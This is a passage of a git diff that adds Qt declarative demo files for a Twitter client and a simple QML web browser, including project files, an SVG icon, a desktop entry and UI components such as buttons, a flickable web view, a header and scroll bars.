+else:include(../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/demos/declarative/twitter/twitter.qmlproject b/demos/declarative/twitter/twitter.qmlproject
new file mode 100644
index 00000000..3b360cf2
--- /dev/null
+++ b/demos/declarative/twitter/twitter.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/twitter"
+ }
+ JavaScriptFiles {
+ directory: "qml/twitter"
+ }
+ ImageFiles {
+ directory: "qml/twitter"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/demos/declarative/twitter/twitter.svg b/demos/declarative/twitter/twitter.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/demos/declarative/twitter/twitter.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/demos/declarative/twitter/twitter64.png b/demos/declarative/twitter/twitter64.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/demos/declarative/twitter/twitter64.png
Binary files differ
diff --git a/demos/declarative/twitter/twitter80.png b/demos/declarative/twitter/twitter80.png
new file mode 100644
index 00000000..6ad8096c
--- /dev/null
+++ b/demos/declarative/twitter/twitter80.png
Binary files differ
diff --git a/demos/declarative/twitter/twitter_harmattan.desktop b/demos/declarative/twitter/twitter_harmattan.desktop
new file mode 100644
index 00000000..40a4a1bc
--- /dev/null
+++ b/demos/declarative/twitter/twitter_harmattan.desktop
@@ -0,0 +1,11 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Type=Application
+Terminal=false
+Name=twitter
+Exec=/usr/bin/single-instance /opt/twitter/bin/twitter
+Icon=/usr/share/icons/hicolor/80x80/apps/twitter80.png
+X-Window-Icon=
+X-HildonDesk-ShowInToolbar=true
+X-Osso-Type=application/x-executable
diff --git a/demos/declarative/webbrowser/main.cpp b/demos/declarative/webbrowser/main.cpp
new file mode 100644
index 00000000..abbfd04f
--- /dev/null
+++ b/demos/declarative/webbrowser/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include <QtGui/QApplication>
+
+Q_DECL_EXPORT int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/webbrowser/webbrowser.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/demos/declarative/webbrowser/qml/webbrowser/content/Button.qml b/demos/declarative/webbrowser/qml/webbrowser/content/Button.qml
new file mode 100644
index 00000000..fbffe1ef
--- /dev/null
+++ b/demos/declarative/webbrowser/qml/webbrowser/content/Button.qml
@@ -0,0 +1,65 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ property alias image: icon.source
+ property variant action
+
+ signal clicked
+
+ width: 40; height: parent.height
+
+ Image {
+ id: icon; anchors.centerIn: parent
+ opacity: if (action != undefined) { action.enabled ? 1.0 : 0.4 } else 1
+ }
+
+ MouseArea {
+ anchors { fill: parent; topMargin: -10; bottomMargin: -10 }
+ onClicked: {
+ if (action != undefined)
+ action.trigger()
+ parent.clicked()
+ }
+ }
+}
diff --git a/demos/declarative/webbrowser/qml/webbrowser/content/FlickableWebView.qml b/demos/declarative/webbrowser/qml/webbrowser/content/FlickableWebView.qml
new file mode 100644
index 00000000..4bfcd226
--- /dev/null
+++ b/demos/declarative/webbrowser/qml/webbrowser/content/FlickableWebView.qml
@@ -0,0 +1,195 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+import QtWebKit 1.0
+
+Flickable {
+ property alias title: webView.title
+ property alias icon: webView.icon
+ property alias progress: webView.progress
+ property alias url: webView.url
+ property alias back: webView.back
+ property alias stop: webView.stop
+ property alias reload: webView.reload
+ property alias forward: webView.forward
+
+ id: flickable
+ width: parent.width
+ contentWidth: Math.max(parent.width,webView.width)
+ contentHeight: Math.max(parent.height,webView.height)
+ anchors.top: headerSpace.bottom
+ anchors.bottom: parent.top
+ anchors.left: parent.left
+ anchors.right: parent.right
+ pressDelay: 200
+
+ onWidthChanged : {
+ // Expand (but not above 1:1) if otherwise would be smaller that available width.
+ if (width > webView.width*webView.contentsScale && webView.contentsScale < 1.0)
+ webView.contentsScale = width / webView.width * webView.contentsScale;
+ }
+
+ WebView {
+ id: webView
+ transformOrigin: Item.TopLeft
+
+ function fixUrl(url)
+ {
+ if (url == "") return url
+ if (url[0] == "/") return "file://"+url
+ if (url.indexOf(":")<0) {
+ if (url.indexOf(".")<0 || url.indexOf(" ")>=0) {
+ // Fall back to a search engine; hard-code Wikipedia
+ return "http://en.wikipedia.org/w/index.php?search="+url
+ } else {
+ return "http://"+url
+ }
+ }
+ return url
+ }
+
+ url: fixUrl(webBrowser.urlString)
+ smooth: false // We don't want smooth scaling, since we only scale during (fast) transitions
+ focus: true
+
+ onAlert: console.log(message)
+
+ function doZoom(zoom,centerX,centerY)
+ {
+ if (centerX) {
+ var sc = zoom*contentsScale;
+ scaleAnim.to = sc;
+ flickVX.from = flickable.contentX
+ flickVX.to = Math.max(0,Math.min(centerX-flickable.width/2,webView.width*sc-flickable.width))
+ finalX.value = flickVX.to
+ flickVY.from = flickable.contentY
+ flickVY.to = Math.max(0,Math.min(centerY-flickable.height/2,webView.height*sc-flickable.height))
+ finalY.value = flickVY.to
+ quickZoom.start()
+ }
+ }
+
+ Keys.onLeftPressed: webView.contentsScale -= 0.1
+ Keys.onRightPressed: webView.contentsScale += 0.1
+
+ preferredWidth: flickable.width
+ preferredHeight: flickable.height
+ contentsScale: 1
+ onContentsSizeChanged: {
+ // zoom out
+ contentsScale = Math.min(1,flickable.width / contentsSize.width)
+ }
+ onUrlChanged: {
+ // got to topleft
+ flickable.contentX = 0
+ flickable.contentY = 0
+ if (url != null) { header.editUrl = url.toString(); }
+ }
+ onDoubleClick: {
+ if (!heuristicZoom(clickX,clickY,2.5)) {
+ var zf = flickable.width / contentsSize.width
+ if (zf >= contentsScale)
+ zf = 2.0*contentsScale // zoom in (else zooming out)
+ doZoom(zf,clickX*zf,clickY*zf)
+ }
+ }
+
+ SequentialAnimation {
+ id: quickZoom
+
+ PropertyAction {
+ target: webView
+ property: "renderingEnabled"
+ value: false
+ }
+ ParallelAnimation {
+ NumberAnimation {
+ id: scaleAnim
+ target: webView
+ property: "contentsScale"
+ // the to property is set before calling
+ easing.type: Easing.Linear
+ duration: 200
+ }
+ NumberAnimation {
+ id: flickVX
+ target: flickable
+ property: "contentX"
+ easing.type: Easing.Linear
+ duration: 200
+ from: 0 // set before calling
+ to: 0 // set before calling
+ }
+ NumberAnimation {
+ id: flickVY
+ target: flickable
+ property: "contentY"
+ easing.type: Easing.Linear
+ duration: 200
+ from: 0 // set before calling
+ to: 0 // set before calling
+ }
+ }
+ // Have to set the contentXY, since the above 2
+ // size changes may have started a correction if
+ // contentsScale < 1.0.
+ PropertyAction {
+ id: finalX
+ target: flickable
+ property: "contentX"
+ value: 0 // set before calling
+ }
+ PropertyAction {
+ id: finalY
+ target: flickable
+ property: "contentY"
+ value: 0 // set before calling
+ }
+ PropertyAction {
+ target: webView
+ property: "renderingEnabled"
+ value: true
+ }
+ }
+ onZoomTo: doZoom(zoom,centerX,centerY)
+ }
+}
diff --git a/demos/declarative/webbrowser/qml/webbrowser/content/Header.qml b/demos/declarative/webbrowser/qml/webbrowser/content/Header.qml
new file mode 100644
index 00000000..bebdc480
--- /dev/null
+++ b/demos/declarative/webbrowser/qml/webbrowser/content/Header.qml
@@ -0,0 +1,150 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Image {
+ id: header
+
+ property alias editUrl: urlInput.url
+ property bool urlChanged: false
+
+ source: "pics/titlebar-bg.png"; fillMode: Image.TileHorizontally
+
+ x: webView.contentX < 0 ? -webView.contentX : webView.contentX > webView.contentWidth-webView.width
+ ? -webView.contentX+webView.contentWidth-webView.width : 0
+ y: {
+ if (webView.progress < 1.0)
+ return 0;
+ else {
+ webView.contentY < 0 ? -webView.contentY : webView.contentY > height ? -height : -webView.contentY
+ }
+ }
+ Column {
+ width: parent.width
+
+ Item {
+ width: parent.width; height: 20
+ Text {
+ anchors.centerIn: parent
+ text: webView.title; font.pixelSize: 14; font.bold: true
+ color: "white"; styleColor: "black"; style: Text.Sunken
+ }
+ }
+
+ Item {
+ width: parent.width; height: 40
+
+ Button {
+ id: backButton
+ action: webView.back; image: "pics/go-previous-view.png"
+ anchors { left: parent.left; bottom: parent.bottom }
+ }
+
+ Button {
+ id: nextButton
+ anchors.left: backButton.right
+ action: webView.forward; image: "pics/go-next-view.png"
+ }
+
+ UrlInput {
+ id: urlInput
+ anchors { left: nextButton.right; right: reloadButton.left }
+ image: "pics/display.png"
+ onUrlEntered: {
+ webBrowser.urlString = url
+ webBrowser.focus = true
+ header.urlChanged = false
+ }
+ onUrlChanged: header.urlChanged = true
+ }
+
+ Button {
+ id: reloadButton
+ anchors { right: quitButton.left; rightMargin: 10 }
+ action: webView.reload; image: "pics/view-refresh.png"
+ visible: webView.progress == 1.0 && !header.urlChanged
+ }
+ Text {
+ id: quitButton
+ color: "white"
+ style: Text.Sunken
+ anchors.right: parent.right
+ anchors.top: parent.top
+ anchors.bottom: parent.bottom
+ verticalAlignment: Text.AlignVCenter
+ horizontalAlignment: Text.AlignHCenter
+ font.pixelSize: 18
+ width: 60
+ text: "Quit"
+ MouseArea {
+ anchors.fill: parent
+ onClicked: Qt.quit()
+ }
+ Rectangle {
+ width: 1
+ y: 5
+ height: parent.height-10
+ anchors.right: parent.left
+ color: "darkgray"
+ }
+ }
+
+ Button {
+ id: stopButton
+ anchors { right: quitButton.left; rightMargin: 10 }
+ action: webView.stop; image: "pics/edit-delete.png"
+ visible: webView.progress < 1.0 && !header.urlChanged
+ }
+
+ Button {
+ id: goButton
+ anchors { right: parent.right; rightMargin: 4 }
+ onClicked: {
+ webBrowser.urlString = urlInput.url
+ webBrowser.focus = true
+ header.urlChanged = false
+ }
+ image: "pics/go-jump-locationbar.png"; visible: header.urlChanged
+ }
+ }
+ }
+}
diff --git a/demos/declarative/webbrowser/qml/webbrowser/content/ScrollBar.qml b/demos/declarative/webbrowser/qml/webbrowser/content/ScrollBar.qml
new file mode 100644
index 00000000..71ac9580
--- /dev/null
+++ b/demos/declarative/webbrowser/qml/webbrowser/content/ScrollBar.qml
@@ -0,0 +1,107 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: container
+
+ property variant scrollArea
+ property variant orientation: Qt.Vertical
+
+ opacity: 0
+
+ function position()
+ {
+ var ny = 0;
+ if (container.orientation == Qt.Vertical)
+ ny = scrollArea.visibleArea.yPosition * container.height;
+ else
+ ny = scrollArea.visibleArea.xPosition * container.width;
+ if (ny > 2) return ny; else return 2;
+ }
+
+ function size()
+ {
+ var nh, ny;
+
+ if (container.orientation == Qt.Vertical)
+ nh = scrollArea.visibleArea.heightRatio * container.height;
+ else
+ nh = scrollArea.visibleArea.widthRatio * container.width;
+
+ if (container.orientation == Qt.Vertical)
+ ny = scrollArea.visibleArea.yPosition * container.height;
+ else
+ ny = scrollArea.visibleArea.xPosition * container.width;
+
+ if (ny > 3) {
+ var t;
+ if (container.orientation == Qt.Vertical)
+ t = Math.ceil(container.height - 3 - ny);
+ else
+ t = Math.ceil(container.width - 3 - ny);
+ if (nh > t) return t; else return nh;
+ } else return nh + ny;
+ }
+
+ Rectangle { anchors.fill: parent; color: "Black"; opacity: 0.5 }
+
+ BorderImage {
+ source: "pics/scrollbar.png"
+ border { left: 1; right: 1; top: 1; bottom: 1 }
+ x: container.orientation == Qt.Vertical ? 2 : position()
+ width: container.orientation == Qt.Vertical ? container.width - 4 : size()
+ y: container.orientation == Qt.Vertical ? position() : 2
+ height: container.orientation == Qt.Vertical ? size() : container.height - 4
+ }
+
+ states: State {
+ name: "visible"
+ when: container.orientation == Qt.Vertical ? scrollArea.movingVertically : scrollArea.movingHorizontally
+ PropertyChanges { target: container; opacity: 1.0 }
+ }
+
+ transitions: Transition {
+ from: "visible"; to: ""
+ NumberAnimation { properties: "opacity"; duration: 600 }
+ }
+}
diff --git a/demos/declarative/webbrowser/qml/webbrowser/content/UrlInput.qml b/demos/declarative/webbrowser/qml/webbrowser/content/UrlInput.qml
new file mode 100644
index 00000000..77932769
--- /dev/null
+++ b/demos/declarative/webbrowser/qml/webbrowser/content/UrlInput.qml
@@ -0,0 +1,96 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ id: container
+
+ property alias image: bg.source
+ property alias url: urlText.text
+
+ signal urlEntered(string url)
+ signal urlChanged
+
+ width: parent.height; height: parent.height
+
+ BorderImage {
+ id: bg; rotation: 180
+ x: 8; width: parent.width - 16; height: 30;
+ anchors.verticalCenter: parent.verticalCenter
+ border { left: 10; top: 10; right: 10; bottom: 10 }
+ }
+
+ Rectangle {
+ anchors.bottom: bg.bottom
+ x: 18; height: 4; color: "#63b1ed"
